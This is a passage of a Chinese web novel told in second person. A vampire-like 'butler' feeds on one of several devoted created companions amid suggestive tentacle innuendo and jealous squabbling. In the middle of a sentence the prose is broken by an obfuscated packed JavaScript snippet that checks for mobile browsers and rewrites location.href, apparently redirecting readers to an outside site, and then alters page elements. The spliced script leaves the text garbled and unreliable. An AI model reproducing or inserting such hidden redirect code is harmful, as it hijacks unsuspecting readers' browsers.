二少爷耳尖通红,依旧埋着头,抓住你衣摆的双手微微发颤。 “我最后一次警告,出去。” 你指向房门。 房间里只剩下浴室传来的水声。 二少爷抬起头,直起身,双手撑在你的大腿上。 “上来。” 他双膝从地毯挪到你的腿侧,跪在沙发上,柔软的坐垫顿时陷下两处浅坑。 他抱住你,两人交颈依偎。 位置正好,你立刻刺入他的肌肤。 他的血带着微甜,是你最偏爱的味道。 你吞咽着,思绪渐渐飘远。 你是不是冷落了另外两个?好像是的。这几天二少爷来得最勤,不过也仅限于补充能量。 等事情了结,等这个位面彻底与其他九个剥离,你便卸下管理一职,退回幕后。 到那时,再同他们三个好好相处一番,或是再创造几个新的也无妨。 总之,你不会亏待自己。 只是你不喜欢一起,偏爱一个一个来。 忽然,一阵温热湿意贴上你的脖颈——他在舔你。 “你在发呆。”他声音发颤,强忍着身体的不适,“请在这时候在意我。” 你松开他的脖颈:“抱歉。” 他脖颈两侧,留着好几处你咬出的齿痕。 二少爷骤然脱力,整个人压在你身上,你下意识环住他的腰。 很细,却带着几分肌肉线条,并非单薄的骨感。 你熟练地向下,却又中途停住。 他闭着眼,轻声细语:“怎么不继续?” “现在不合适。” “哪里不合适,你已经很久没有……” 他啜泣起来,眼泪滑进你的衣内,顺着肌肤,停在锁骨处。 “我……我很想,让你进来。” 他身体开始发烫。按理吸血之后应是发冷,可他体内的血却在沸腾。 你低头看向他的脖颈,果然,皮肤渐渐泛红,从粉红晕成桃红…… “管家大人,已经很久没有让触手进来了。” “很久很久,你总让我等着。好不容易等到了,却也只在一处索取。” 你怀疑他中了什么东西,不然怎会在这时这般控诉。 他似是看穿你的心思:“我没有中毒,我只是想说出来。” “如今,你又造了一个好看的人,我怕……怕她会取代我。怕此刻跪在你身上、抱着你的人,未来会变成她。” “不会。”你语气笃定,“别多想。” 你的手向下落去,却始终隔着一层衣物。 他的身体确实烫得厉害。 看来二少爷的能力精进了不少,换作以前,被吸走这么多血,早该虚得连抱都抱不住你。 你托住他的臀,在他耳边低声道:“我是怕你受不住,触手力气有些大。” “那他们两个就受得住吗?” “他们确实比你强壮些。” 他顿时闹起小脾气:“不行……我也要。” “我知道触手的粘液能治愈,明明很方便,就算撕裂了,粘液也能让伤口愈合。” 你劝他:“会疼的。” “不疼,会很舒服。” “……” “你也会很愉悦,我会让你满意的。” 他……他什么时候变得这么放得开了? 他本该腼腆、内向,极易害羞才对。 你就喜欢他一逗就害羞的模样。 “还有……不止后面,前面也要。” “哈?” “对……前面,你应该能感觉到。” 你确实感觉到了,他的脸越来越烫,烫得你也跟着浑身燥热。 他真挚地夸赞:“触手很厉害,管家大人也很厉害。” 废话,还用他说。 “之后。” 你向他承诺。 门外两人猛地推门闯入:“那我们呢?” 你被吓了一跳,应激般向外一掰,没控制好力道,还顺带捏了一下。 二少爷双臂骤然收紧,在你耳边闷哼一声。 你想把身上的人放下,可他抱得极紧。 没办法,你只能先质问另外两人。 “你们在偷听?!” 大少爷一摆手:“这不重要。那我呢?你什么时候安排我?上次那个根本不算,你就亲了我两下,一点都不过瘾。” “要排班。” 你隐约记得,之前好像把触手给他玩过。 哦,那是他重塑身体之前的事,他早已不记得了。 小少爷也跟着附和:“自从这批客人来了之后,你就再也没陪我玩过了。” 这话你可不认同:“没玩?那cosplay是和谁玩的?” “Cosplay!”大少爷惊道,“我怎么不知道?我也要,不然你就是偏心。” 你的心就是偏的。 而且你偏心也不是一天两天了。 说不清你对谁偏心,只要他能戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366497|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中你,你就在那一刻偏向谁。 二少爷也在一旁煽风点火,微微往前一坐,你的掌心瞬间被一片柔软包裹。 “我也要……管家大人会扮演什么呢?” “嘭”的一声,浴室门被拉开。 小四第一眼,就看见赖在你身上不肯下来的二少爷。 “为什么,他就能抱你?” 她几步跨到沙发前,扣住二少爷的肩膀,猛地向后一甩。 黏在你身上的人形膏药瞬间被撕了下来,连带着你背后的衬衫,都被硬生生扯破两道口子。 背后的布条晃悠悠地垂着。 我去?! 她只留下一句:“我也要抱!” 便大步跨过摔在地毯上的二少爷,飞扑过来,像只八爪鱼般死死环住你。 力道大得连沙发都险些被掀翻。 …… 我去,好猛。 “喂!你还没擦干净!” 她发梢的水珠一滴滴落进你衣领里! “不嘛不嘛,管家大人帮我擦。” 她在你身上蹭来蹭去。 “我也要玩cosplay,我也要抱你。” 你艰难地伸出手,示意已经站起身的二少爷去拿干毛巾。 “好好好,抱抱举高高可以,cosplay不行。” “为什么?” “你可以跟别人玩,你玩他们。” 四小姐虽不理解,却还是乖乖点头:“噢,好,管家大人教我。” 你一时没有接话。 这东西不好教,得靠自己悟。 干浴巾飞过来,罩在小四头上,把你们两人一同裹住。 你探出头,用毛巾擦拭她湿漉漉的黑发。 你轻拍她的大腿:“下来。” 小四听话地站到你面前,却又霸道地挡住旁人看你的视线。 你满意地打量着这位亲手打造的少女。 她穿着你的衣服,黑发如瀑,衬得肌肤莹白。一双纯黑眼眸清澈温顺,垂眸时眉眼柔和,举止安静乖巧,安安静静站在那儿,便惹人怜惜。 可抛开这张脸,她肌肉紧实、力大无穷、爆发力极强,是个乖巧的暴君。 项链也戴得好好的,衬得四小姐的锁骨愈发精致。 你勾住她的项链:“知道这个怎么用吗?” 她不受控制地想要贴近你,抓住你的手腕:“知道,我会,你教过我。” 你确实将使用方法直接印在了她的意识里。 四小姐痴痴望着你:“我不知道自己怎么了,就想贴着你。” “管家大人,我爱你。” ?。? 啥? 爱什么? 行吧,这种事你近期见得多了,也知道该怎么应对。 你自信地对四小姐说:“你这是闲的,等忙起来,就不会这样了。” “真的吗?” “真的。” 你十分确定,就是因为太闲,才让他们动不动就把爱挂在嘴边。 背后的衬衫被小四撕裂成了两个布条,你衣柜里又拿出一件衬衫,最近的衬衫消耗也大。 衣柜里一排一排都是一样的衬衫。 强迫症舒适。 “我穿的就是这个嘛?”小四低头扯了扯衣服,还嗅了嗅,“管家大人的味道,好香,就像在管家大人怀里。” 一句话引燃其他三人。 “我也要穿。” “我也要。” 二少爷杀死比赛:“我身上这件就是。” 你立刻关上衣柜,生怕老大和老幺钻进去。 唉…… 你现在甚至有点期盼其他九位诡异打进来。 “啪——” 镜子碎了。 怎么一想就来了呢? 衣服还没换呢……